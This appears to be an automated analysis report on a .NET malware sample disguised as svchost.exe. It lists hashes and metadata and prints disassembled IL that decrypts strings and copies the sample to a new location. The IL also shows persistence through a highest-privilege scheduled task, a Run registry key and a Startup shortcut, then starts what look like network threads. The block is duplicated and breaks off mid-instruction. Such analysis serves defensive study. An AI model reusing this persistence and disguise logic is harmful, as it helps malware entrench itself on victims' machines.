Symbol Ofbuscation Score
|
Hash | Hash Value |
|---|---|
| MD5 | 22d3dfe23e6b0546bc3337845ceb1c91
|
| Sha1 | 8a0f50dbab29828a29bc5bf27a0162d8ebbc7d7a
|
| Sha256 | 73937a2cf666dac3c31b8b78f5e9fb803a5a7ff482d2f9bcf4cdf00b1b32f7ce
|
| Sha384 | 42b43fdfc731aa3f2eb2e2b2272e562c347b68e28d3bac7471290eaa78664fa89577db8bea0e86e4a2e4ac10463c4bc2
|
| Sha512 | cf08358f6995eb6d45796a882f1ef7076a3e9c57e678b0490a25519c2ee84f5495897ca36abb8bb50275ad353038c6e6da33b7796d6dd9b64e98497effb9ff59
|
| SSDeep | 1536:GIYpiNiNwpjd8H2MJbNJFAx0TzkI6OsFRzr2:ng2IbNM6II6O6+
|
| TLSH | 7C837D283BEA4515E0FFAFB01DE57257C77AB6232903C05F64D5038B1A27A84CE916F9
|
PeID
|
Name0 | Value |
|---|---|
| Module Name | svchost.exe |
| Full Name | svchost.exe |
| EntryPoint | System.Void Stub.dM3fUtUIFlpx409VB6zF65B::AGA2a97r6sULrJGXbiSdcFa() |
| Scope Name | svchost.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | svchost |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 345 |
| Main Method | System.Void Stub.dM3fUtUIFlpx409VB6zF65B::AGA2a97r6sULrJGXbiSdcFa() |
| Main IL Instruction Count | 342 |
| Main IL | ldsfld System.Int32 D88m2lSo647eLkftai9F4u7::2WSxhIWp4iIyU6EUWzgFDRy ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String D88m2lSo647eLkftai9F4u7::7w7KEVrhud0QN7hpFrEy88K call System.Object Stub.BlgOYpW1kx9wV8Bx8j3MeKkSEy91VKagir3De2Swv::dVcDJBx5yFutIqaVkP3PklmVHHxHEgqXnTcz1wWRy(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String D88m2lSo647eLkftai9F4u7::7w7KEVrhud0QN7hpFrEy88K ldsfld System.String D88m2lSo647eLkftai9F4u7::OyIfD89Oo9EL0lfvEDCVxQR call System.Object Stub.BlgOYpW1kx9wV8Bx8j3MeKkSEy91VKagir3De2Swv::dVcDJBx5yFutIqaVkP3PklmVHHxHEgqXnTcz1wWRy(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String D88m2lSo647eLkftai9F4u7::OyIfD89Oo9EL0lfvEDCVxQR ldsfld System.String D88m2lSo647eLkftai9F4u7::ntHf311aowM9r4KJ5rdGjO5 call System.Object Stub.BlgOYpW1kx9wV8Bx8j3MeKkSEy91VKagir3De2Swv::dVcDJBx5yFutIqaVkP3PklmVHHxHEgqXnTcz1wWRy(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String D88m2lSo647eLkftai9F4u7::ntHf311aowM9r4KJ5rdGjO5 ldsfld System.String D88m2lSo647eLkftai9F4u7::Bn2u0GyCWG1EMOCpZs17sfM call System.Object Stub.BlgOYpW1kx9wV8Bx8j3MeKkSEy91VKagir3De2Swv::dVcDJBx5yFutIqaVkP3PklmVHHxHEgqXnTcz1wWRy(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String D88m2lSo647eLkftai9F4u7::Bn2u0GyCWG1EMOCpZs17sfM ldsfld System.String D88m2lSo647eLkftai9F4u7::iIdOjy1zUIGnolKd1jrBxN8 call System.Object Stub.BlgOYpW1kx9wV8Bx8j3MeKkSEy91VKagir3De2Swv::dVcDJBx5yFutIqaVkP3PklmVHHxHEgqXnTcz1wWRy(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String D88m2lSo647eLkftai9F4u7::iIdOjy1zUIGnolKd1jrBxN8 ldsfld System.String D88m2lSo647eLkftai9F4u7::Bkc9cVkIlooZdsgINxVRu8Z call System.Object Stub.BlgOYpW1kx9wV8Bx8j3MeKkSEy91VKagir3De2Swv::dVcDJBx5yFutIqaVkP3PklmVHHxHEgqXnTcz1wWRy(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String D88m2lSo647eLkftai9F4u7::Bkc9cVkIlooZdsgINxVRu8Z ldsfld System.String D88m2lSo647eLkftai9F4u7::zepKbIdRV67FWcGvYBT5OJH call System.Object Stub.BlgOYpW1kx9wV8Bx8j3MeKkSEy91VKagir3De2Swv::dVcDJBx5yFutIqaVkP3PklmVHHxHEgqXnTcz1wWRy(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String D88m2lSo647eLkftai9F4u7::zepKbIdRV67FWcGvYBT5OJH leave.s IL_00B8: call System.Boolean Stub.qTnFsU7aOQYdZHR2n1C08FeAoSFTaUUzpUnTegQqQ::GUiKh5LHHph0E10JBJEWdBlryMwpyfxUsF3xPr0Jo() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00B8: call System.Boolean Stub.qTnFsU7aOQYdZHR2n1C08FeAoSFTaUUzpUnTegQqQ::GUiKh5LHHph0E10JBJEWdBlryMwpyfxUsF3xPr0Jo() call System.Boolean Stub.qTnFsU7aOQYdZHR2n1C08FeAoSFTaUUzpUnTegQqQ::GUiKh5LHHph0E10JBJEWdBlryMwpyfxUsF3xPr0Jo() brtrue.s IL_00C5: call System.Void Stub.dM3fUtUIFlpx409VB6zF65B::2nFWIAsrl5orv6AMdiWn0ls() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.dM3fUtUIFlpx409VB6zF65B::2nFWIAsrl5orv6AMdiWn0ls() leave.s IL_00DB: ldsfld System.String D88m2lSo647eLkftai9F4u7::Bkc9cVkIlooZdsgINxVRu8Z dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_5 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00DB: ldsfld System.String D88m2lSo647eLkftai9F4u7::Bkc9cVkIlooZdsgINxVRu8Z ldsfld System.String D88m2lSo647eLkftai9F4u7::Bkc9cVkIlooZdsgINxVRu8Z ldstr \ ldsfld System.String D88m2lSo647eLkftai9F4u7::zepKbIdRV67FWcGvYBT5OJH call System.String System.String::Concat(System.String,System.String,System.String) stloc.1 <null> ldloc.1 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_6 ldloc.s V_6 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_011D: ldloc.1 ldloc.s V_6 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.1 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0134: ldc.i4 1000 ldloc.1 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_7 ldloc.s V_7 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.1 <null> ldsfld System.String Stub.qTnFsU7aOQYdZHR2n1C08FeAoSFTaUUzpUnTegQqQ::sfil3XHcDJ1mfFeHh5OvCMkBAzY8qbORHNmZKlHdr call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_015F: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_015F: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_10 ldloc.s V_10 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.NNlJT3PYOdBHn5ckt775KjG::8O5gp0ZEnBw0aM0ui8Eifgw() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01C5: ldloc.s V_10 ldloc.s V_10 ldc.i4.5 <null> newarr System.String stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_15 ldc.i4.1 <null> ldsfld System.String D88m2lSo647eLkftai9F4u7::zepKbIdRV67FWcGvYBT5OJH call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_15 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_15 ldc.i4.3 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_15 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_15 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0209: ldloc.s V_10 ldloc.s V_10 ldc.i4.5 <null> newarr System.String stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_15 ldc.i4.1 <null> ldsfld System.String D88m2lSo647eLkftai9F4u7::zepKbIdRV67FWcGvYBT5OJH call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_15 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_15 ldc.i4.3 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_15 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_15 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_10 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_9 ldloc.s V_9 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_022A: call My.WRdfvbxJlrbVMtNXmWDpa4N My.abmRD0eSfOVRpVF7CvFXjzH::niVnS6Nb2o4VAXWQEd5lLmN() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_022A: call My.WRdfvbxJlrbVMtNXmWDpa4N My.abmRD0eSfOVRpVF7CvFXjzH::niVnS6Nb2o4VAXWQEd5lLmN() call My.WRdfvbxJlrbVMtNXmWDpa4N My.abmRD0eSfOVRpVF7CvFXjzH::niVnS6Nb2o4VAXWQEd5lLmN() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String D88m2lSo647eLkftai9F4u7::zepKbIdRV67FWcGvYBT5OJH call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.1 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_0265: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_12 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0265: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String D88m2lSo647eLkftai9F4u7::zepKbIdRV67FWcGvYBT5OJH call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_13 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_16 ldloc.s V_16 ldc.i4.0 <null> ldloc.s V_13 stelem.ref <null> ldloc.s V_16 stloc.s V_17 ldloc.s V_17 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_18 ldloc.s V_18 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_18 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_18 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_02EA: stloc.s V_19 ldloc.s V_17 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_13 stloc.s V_19 ldloc.s V_19 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_20 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_19 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_20 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_19 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_19 ldloc.s V_13 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.qTnFsU7aOQYdZHR2n1C08FeAoSFTaUUzpUnTegQqQ::HRAIuUYqV93XJKLQ2mz8Vcn5EuT49cs0tlGjVm3Eb leave.s IL_0369: ldsfld System.String D88m2lSo647eLkftai9F4u7::iIdOjy1zUIGnolKd1jrBxN8 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_14 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0369: ldsfld System.String D88m2lSo647eLkftai9F4u7::iIdOjy1zUIGnolKd1jrBxN8 ldsfld System.String D88m2lSo647eLkftai9F4u7::iIdOjy1zUIGnolKd1jrBxN8 call System.String Stub.dM3fUtUIFlpx409VB6zF65B::QGy6QOO3kLa78nnnukoUx06(System.String) stloc.0 <null> ldloc.0 <null> ldc.i4.1 <null> newarr System.Char stloc.s V_21 ldloc.s V_21 ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> ldloc.s V_21 callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.0 <null> ldelem.ref <null> stsfld System.String D88m2lSo647eLkftai9F4u7::l4aOtnrQNK9TKWrza0yUAHY ldloc.0 <null> ldc.i4.1 <null> newarr System.Char stloc.s V_21 ldloc.s V_21 ldc.i4.0 <null> ldc.i4.s 58 stelem.i2 <null> ldloc.s V_21 callvirt System.String[] System.String::Split(System.Char[]) ldc.i4.1 <null> ldelem.ref <null> stsfld System.String D88m2lSo647eLkftai9F4u7::ddTCodiAmCl4DAP6LdP49rH call System.Void Stub.qTnFsU7aOQYdZHR2n1C08FeAoSFTaUUzpUnTegQqQ::S4azmt3kaCIANsu6W1WD9hPBIZiWjw39Evh3ZaiSu() ldnull <null> ldftn System.Void Stub.dM3fUtUIFlpx409VB6zF65B::fPu0alwqpIhzkcGPDkdipTZ() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.NNlJT3PYOdBHn5ckt775KjG::8O5gp0ZEnBw0aM0ui8Eifgw() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_03DA: ldnull call System.Void Stub.KXuiIbgJj6jGo0AbQHsVWi8biAr9Y6ekhbgERObQX::zrOW4qUaZO7evOLmdTbzqPDujNbrCiTVoIn2Rk4y5() ldnull <null> ldftn System.Void Stub.dM3fUtUIFlpx409VB6zF65B::Ld5DYIHBMRoAe3oraZSFJdi() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldnull <null> ldftn System.Void Stub.dM3fUtUIFlpx409VB6zF65B::OUXYQ1wuTGVy5yKAKDZTCSi() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.3 <null> ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.3 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.3 <null> callvirt System.Void System.Threading.Thread::Join() ret <null> |
| Module Name | svchost.exe |
| Full Name | svchost.exe |
| EntryPoint | System.Void Stub.dM3fUtUIFlpx409VB6zF65B::AGA2a97r6sULrJGXbiSdcFa() |
| Scope Name | svchost.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | svchost |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 345 |
| Main Method | System.Void Stub.dM3fUtUIFlpx409VB6zF65B::AGA2a97r6sULrJGXbiSdcFa() |
| Main IL Instruction Count | 342 |
| Main IL | ldsfld System.Int32 D88m2lSo647eLkftai9F4u7::2WSxhIWp4iIyU6EUWzgFDRy ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String D88m2lSo647eLkftai9F4u7::7w7KEVrhud0QN7hpFrEy88K call System.Object Stub.BlgOYpW1kx9wV8Bx8j3MeKkSEy91VKagir3De2Swv::dVcDJBx5yFutIqaVkP3PklmVHHxHEgqXnTcz1wWRy(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String D88m2lSo647eLkftai9F4u7::7w7KEVrhud0QN7hpFrEy88K ldsfld System.String D88m2lSo647eLkftai9F4u7::OyIfD89Oo9EL0lfvEDCVxQR call System.Object Stub.BlgOYpW1kx9wV8Bx8j3MeKkSEy91VKagir3De2Swv::dVcDJBx5yFutIqaVkP3PklmVHHxHEgqXnTcz1wWRy(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String D88m2lSo647eLkftai9F4u7::OyIfD89Oo9EL0lfvEDCVxQR ldsfld System.String D88m2lSo647eLkftai9F4u7::ntHf311aowM9r4KJ5rdGjO5 call System.Object Stub.BlgOYpW1kx9wV8Bx8j3MeKkSEy91VKagir3De2Swv::dVcDJBx5yFutIqaVkP3PklmVHHxHEgqXnTcz1wWRy(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String D88m2lSo647eLkftai9F4u7::ntHf311aowM9r4KJ5rdGjO5 ldsfld System.String D88m2lSo647eLkftai9F4u7::Bn2u0GyCWG1EMOCpZs17sfM call System.Object Stub.BlgOYpW1kx9wV8Bx8j3MeKkSEy91VKagir3De2Swv::dVcDJBx5yFutIqaVkP3PklmVHHxHEgqXnTcz1wWRy(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String D88m2lSo647eLkftai9F4u7::Bn2u0GyCWG1EMOCpZs17sfM ldsfld System.String D88m2lSo647eLkftai9F4u7::iIdOjy1zUIGnolKd1jrBxN8 call System.Object Stub.BlgOYpW1kx9wV8Bx8j3MeKkSEy91VKagir3De2Swv::dVcDJBx5yFutIqaVkP3PklmVHHxHEgqXnTcz1wWRy(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String D88m2lSo647eLkftai9F4u7::iIdOjy1zUIGnolKd1jrBxN8 ldsfld System.String D88m2lSo647eLkftai9F4u7::Bkc9cVkIlooZdsgINxVRu8Z call System.Object Stub.BlgOYpW1kx9wV8Bx8j3MeKkSEy91VKagir3De2Swv::dVcDJBx5yFutIqaVkP3PklmVHHxHEgqXnTcz1wWRy(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String D88m2lSo647eLkftai9F4u7::Bkc9cVkIlooZdsgINxVRu8Z ldsfld System.String D88m2lSo647eLkftai9F4u7::zepKbIdRV67FWcGvYBT5OJH call System.Object Stub.BlgOYpW1kx9wV8Bx8j3MeKkSEy91VKagir3De2Swv::dVcDJBx5yFutIqaVkP3PklmVHHxHEgqXnTcz1wWRy(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String D88m2lSo647eLkftai9F4u7::zepKbIdRV67FWcGvYBT5OJH leave.s IL_00B8: call System.Boolean Stub.qTnFsU7aOQYdZHR2n1C08FeAoSFTaUUzpUnTegQqQ::GUiKh5LHHph0E10JBJEWdBlryMwpyfxUsF3xPr0Jo() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00B8: call System.Boolean Stub.qTnFsU7aOQYdZHR2n1C08FeAoSFTaUUzpUnTegQqQ::GUiKh5LHHph0E10JBJEWdBlryMwpyfxUsF3xPr0Jo() call System.Boolean Stub.qTnFsU7aOQYdZHR2n1C08FeAoSFTaUUzpUnTegQqQ::GUiKh5LHHph0E10JBJEWdBlryMwpyfxUsF3xPr0Jo() brtrue.s IL_00C5: call System.Void Stub.dM3fUtUIFlpx409VB6zF65B::2nFWIAsrl5orv6AMdiWn0ls() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.dM3fUtUIFlpx409VB6zF65B::2nFWIAsrl5orv6AMdiWn0ls() leave.s IL_00DB: ldsfld System.String D88m2lSo647eLkftai9F4u7::Bkc9cVkIlooZdsgINxVRu8Z dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_5 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00DB: ldsfld System.String D88m2lSo647eLkftai9F4u7::Bkc9cVkIlooZdsgINxVRu8Z ldsfld System.String D88m2lSo647eLkftai9F4u7::Bkc9cVkIlooZdsgINxVRu8Z ldstr \ ldsfld System.String D88m2lSo647eLkftai9F4u7::zepKbIdRV67FWcGvYBT5OJH call System.String System.String::Concat(System.String,System.String,System.String) stloc.1 <null> ldloc.1 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_6 ldloc.s V_6 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_011D: ldloc.1 ldloc.s V_6 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.1 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0134: ldc.i4 1000 ldloc.1 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_7 ldloc.s V_7 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.1 <null> ldsfld System.String Stub.qTnFsU7aOQYdZHR2n1C08FeAoSFTaUUzpUnTegQqQ::sfil3XHcDJ1mfFeHh5OvCMkBAzY8qbORHNmZKlHdr call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_015F: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_015F: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_10 ldloc.s V_10 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.NNlJT3PYOdBHn5ckt775KjG::8O5gp0ZEnBw0aM0ui8Eifgw() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01C5: ldloc.s V_10 ldloc.s V_10 ldc.i4.5 <null> newarr System.String stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_15 ldc.i4.1 <null> ldsfld System.String D88m2lSo647eLkftai9F4u7::zepKbIdRV67FWcGvYBT5OJH call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_15 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_15 ldc.i4.3 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_15 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_15 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0209: ldloc.s V_10 ldloc.s V_10 ldc.i4.5 <null> newarr System.String stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_15 ldc.i4.1 <null> ldsfld System.String D88m2lSo647eLkftai9F4u7::zepKbIdRV67FWcGvYBT5OJH call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_15 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_15 ldc.i4.3 <null> ldloc.1 <null> stelem.ref <null> ldloc.s V_15 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_15 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_10 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_9 ldloc.s V_9 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_022A: call My.WRdfvbxJlrbVMtNXmWDpa4N My.abmRD0eSfOVRpVF7CvFXjzH::niVnS6Nb2o4VAXWQEd5lLmN() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_022A: call My.WRdfvbxJlrbVMtNXmWDpa4N My.abmRD0eSfOVRpVF7CvFXjzH::niVnS6Nb2o4VAXWQEd5lLmN() call My.WRdfvbxJlrbVMtNXmWDpa4N My.abmRD0eSfOVRpVF7CvFXjzH::niVnS6Nb2o4VAXWQEd5lLmN() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String D88m2lSo647eLkftai9F4u7::zepKbIdRV67FWcGvYBT5OJH call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.1 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_0265: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_12 call System.Void 